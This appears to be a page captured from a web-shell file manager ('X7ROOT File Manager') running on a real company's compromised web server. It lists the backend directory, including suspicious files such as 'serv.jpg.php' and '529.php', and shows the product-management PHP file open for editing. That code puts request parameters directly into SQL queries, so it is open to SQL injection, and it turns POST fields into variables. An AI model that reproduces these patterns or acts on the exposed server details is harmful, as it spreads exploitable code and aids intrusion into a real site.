X7ROOT File Manager
Current Path:
/var/www/vhosts/hwtw.com.tw/httpdocs/backend
var
/
www
/
vhosts
/
hwtw.com.tw
/
httpdocs
/
backend
/
ð
..
ð
.DS_Store
(14 KB)
ð
.htaccess
(1.33 KB)
ð
529.php
(2.07 KB)
ð
HanszxzV.html
(1.72 KB)
ð
acl.php
(501 B)
ð
acl_s.php
(3.8 KB)
ð
acl_u.php
(1.84 KB)
ð
acl_xml.php
(3.92 KB)
ð
admin.php
(5 B)
ð
admin_data.php
(6.48 KB)
ð
admin_i.php
(3.21 KB)
ð
admin_s.php
(15.22 KB)
ð
admin_u.php
(4.11 KB)
ð
alertifyjs
ð
assets
ð
auth_check.php
(6.2 KB)
ð
batchdelete.php
(236 B)
ð
bootstrap
ð
changesort.php
(238 B)
ð
changestatus.php
(255 B)
ð
ckeditor
ð
config
ð
css
ð
datetimepicker
ð
favicon.ico
(596 B)
ð
func
ð
getclass.php
(376 B)
ð
images
ð
index.php
(3 B)
ð
index_class.php
(5 B)
ð
index_class_data.php
(3 B)
ð
index_class_s.php
(7.09 KB)
ð
index_img.php
(3 B)
ð
index_img_data.php
(7.05 KB)
ð
index_img_i.php
(3.2 KB)
ð
index_img_s.php
(13.7 KB)
ð
index_img_u.php
(3.74 KB)
ð
js
ð
kcfinder
ð
list_category.php
(1.89 KB)
ð
login.php
(5.66 KB)
ð
logout.php
(104 B)
ð
menu.php
(2.44 KB)
ð
news.php
(1.04 KB)
ð
news_class.php
(1.27 KB)
ð
news_class_data.php
(7.65 KB)
ð
news_class_i.php
(3.21 KB)
ð
news_class_s.php
(15.99 KB)
ð
news_class_u.php
(3.75 KB)
ð
news_data.php
(18.27 KB)
ð
news_i.php
(3.21 KB)
ð
news_s.php
(16.24 KB)
ð
news_u.php
(3.74 KB)
ð
peli.php
(3.22 KB)
ð
product.php
(1.46 KB)
ð
product_class.php
(1.27 KB)
ð
product_class2.php
(1.07 KB)
ð
product_class2_data.php
(8.04 KB)
ð
product_class2_i.php
(3.21 KB)
ð
product_class2_s.php
(17.6 KB)
ð
product_class2_u.php
(3.75 KB)
ð
product_class_data.php
(9.07 KB)
ð
product_class_i.php
(4.01 KB)
ð
product_class_s.php
(9.69 KB)
ð
product_class_u.php
(3.75 KB)
ð
product_data.php
(8.13 KB)
ð
product_i.php
(3.17 KB)
ð
product_s.php
(15.11 KB)
ð
product_u.php
(3.72 KB)
ð
public_include.php
(372 B)
ð
serv.jpg.php
(11.91 KB)
ð
sortable.php
(1.56 KB)
ð
start.php
(383 B)
ð
start_data.php
(202 B)
ð
start_s.php
(14 KB)
ð
support.php
(1.29 KB)
ð
support_data.php
(3.88 KB)
ð
support_s.php
(8.17 KB)
ð
support_u.php
(3.7 KB)
ð
template.php
(11.03 KB)
ð
toastr
ð
top.php
(1.62 KB)
ð
web_setting.php
(1018 B)
ð
web_setting_data.php
(3.53 KB)
ð
web_setting_u.php
(3.75 KB)
Editing: product_data.php
<?php //phpinfo(); //exit; $member_id = Session::get('member_id', SESSION_BACKEND); switch ($_GET['func']): case "update": $product_id = $_GET['id']; $strSQL = "SELECT * FROM product WHERE id = '$product_id'"; $arr_data = $db->Execute($strSQL); if ($db->Affected_Rows() < 1) { FuncSite::msg_box_error('æĨįĄčģæïž'); Func::go_to(-1); exit; } $img = $arr_data[0]['img']; if ($_POST['flag'] == 'true') { foreach ($_POST as $kk => $vv) { $$kk = (trim($vv)); } if (is_array($_FILES)) { if ($_FILES['img']['tmp_name']) { $ext = strtolower(pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION)); if (in_array($ext, $array_img_ext) === false) { FuncSite::msg_box_error('åįæ žåžéŊčŠĪïž'); Func::go_to(-1); exit; } @unlink(__SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img); $img = time() . rand(100, 999) . '.' . $ext; // @copy($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img); if ($ext == 'png' || $ext == 'gif') { Func::ImageResize_Transparent($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img, 227, 227); } else { Func::ImageResize($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img, 227, 227); } } } if ($del_img == 'true') { @unlink(__SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img); $img = ''; } $data = array( 'title' => $title, 'sort' => $sort, 'status' => $status, 'update_date' => date('Y-m-d H:i:s'), 'img' => $img, ); $a = $db->update('product', $data, "id = '$product_id'"); // print_r($data); // exit; if (!$a) { FuncSite::msg_box('æīæ°æåïž'); } else { FuncSite::msg_box_error('æīæ°åĪąæïž'); } $tmp = ''; if (is_array($arg)) { foreach ($arg as $kk => $vv) { if ($kk != 'func' && $kk != 'id'): $tmp .= "{$kk}={$vv}&"; endif; } } Func::go_to($func_page . '.php?&' . $tmp); exit; } $data = array(); array_push($data, array( 'title' => 'åįĻčĻåŪ', 'type' => 'radio', 'name' => 'status', 'value' => $arr_data[0]['status'], 'options' => $arr_ison, ) ); array_push($data, array( 'title' => 'æåš', 'type' => 'text', 'name' => 'sort', 'length' => 4, 'max_length' => 4, 'help' => 'æļåčķåĪ§ïžæåščķåéĒã', 'value' => $arr_data[0]['sort'], ) ); array_push($data, array( 'title' => 'åįĻą', 'type' => 'text', 'name' => 'title', 'value' => $arr_data[0]['title'], 'length' => 30, 'max_length' => 50, "required" => true, ) ); array_push($data, array( 'title' => 'åį', 'type' => 'image_ajax_fileinput', 'name' => 'img', 'value' => $arr_data[0]['img'], 'help' => 'åŧšč°åŊŽéŦ: 227 * 227 ïžæįæŊäūäđåįã', 'pre_folder' => __WEB_IMAGES_FOLDER, // 'max_size' => 4096, 'delete' => true, ) ); $arr_form1 = array( "func" => 'update', "form_title" => 'åšæŽčĻåŪ', "form_name" => 'form1', "elements" => $data, ); $arr_date = array( "create_date" => $arr_data[0]['create_date'], "update_date" => $arr_data[0]['update_date'], ); break; case "delete": $product_id = $_GET['id']; $strSQL = "SELECT * FROM product WHERE id = '$product_id'"; $db->Execute($strSQL); if ($db->Affected_Rows() < 1) { FuncSite::msg_box_error('æĨįĄčģæïž'); Func::go_to(-1); exit; } $db->delete('product', "id='$product_id'"); $$tmp = ''; if (is_array($arg)) { foreach ($arg as $kk => $vv) { if ($kk != 'func' && $kk != 'id'): $tmp .= "{$kk}={$vv}&"; endif; } } Func::go_to($func_page . '.php?&' . $tmp); exit; break; case "insert": if ($_POST['flag'] == 'true') { foreach ($_POST as $kk => $vv) { $$kk = (trim($vv)); } if (is_array($_FILES)) { if ($_FILES['img']['tmp_name']) { $ext = strtolower(pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION)); if (in_array($ext, $array_img_ext) === false) { FuncSite::msg_box_error('åįæ žåžéŊčŠĪïž'); Func::go_to(-1); exit; } $img = time() . rand(100, 999) . '.' . $ext; // @copy($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img); if ($ext == 'png' || $ext == 'gif') { Func::ImageResize_Transparent($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img, 227, 227); } else { Func::ImageResize($_FILES['img']['tmp_name'], __SERVER_IMAGES_FOLDER . DIRECTORY_SEPARATOR . $img, 227, 227); } } } $data = array( 'create_date' => date('Y-m-d H:i:s'), 'update_date' => date('Y-m-d H:i:s'), 'title' => $title, 'sort' => $sort, 'status' => $status, 'img' => $img, 'class_id' => $class_id, ); $a = $db->insert('product', $data); $insert_id = $db->lastInsertId(); if ($a) { FuncSite::msg_box('æ°åĒæåïž'); } else { FuncSite::msg_box_error('æ°åĒåĪąæïž'); } $tmp = ''; if (is_array($arg)) { foreach ($arg as $kk => $vv) { if ($kk != 'func' && $kk != 'id'): $tmp .= "{$kk}={$vv}&"; endif; } } Func::go_to($func_page . '.php?&' . $tmp); exit; } $data = array(); array_push($data, array( 'title' => 'åįĻčĻåŪ', 'type' => 'radio', 'name' => 'status', 'value' => 1, 'options' => $arr_ison, ) ); array_push($data, array( 'title' => 'æåš', 'type' => 'text', 'name' => 'sort', 'length' => 4, 'max_length' => 4, 'help' => 'æļåčķåĪ§ïžæåščķåéĒã', 'value' => 10, ) ); array_push($data, array( 'title' => 'åįĻą', 'type' => 'text', 'name' => 'title', 'length' => 30, 'max_length' => 50, "required" => true, ) ); array_push($data, array( 'title' => 'åį', 'type' => 'image_ajax_fileinput', 'name' => 'img', 'help' => 'åŧšč°åŊŽéŦ: 227 * 227 ïžæįæŊäūäđåįã', 'pre_folder' => __WEB_IMAGES_FOLDER, // 'max_size' => 4096, 'delete' => true, ) ); $arr_form1 = array( "func" => 'insert', "form_name" => 'form1', "form_title" => 'åšæŽčĻåŪ', "elements" => $data, ); break; default: $arr_data = array(); $andSQL = ''; $class_id = $_GET['class_id']; $status = $_GET['status']; if ($status != '') { $andSQL = "and status=" . $status; } $andSQL .= ' AND class_id="' . $class_id . '"'; $strSQL = "SELECT * FROM product WHERE 1 $andSQL ORDER BY sort DESC"; // echo $strSQL; // exit; $rs = $db->Execute($strSQL); $rows = $db->Affected_Rows(); $curr_page = $_GET['curr_page']; $last_page = ceil($rows / __DATA_PER_PAGE); if ($curr_page > $last_page) { $curr_page = $last_page; } if ($curr_page < 1) { $curr_page = 1; } if ($last_page == 0) { $curr_page = 0; } $arr_data = $db->PageExecute($strSQL, __DATA_PER_PAGE, $curr_page); endswitch;
Upload File
Create Folder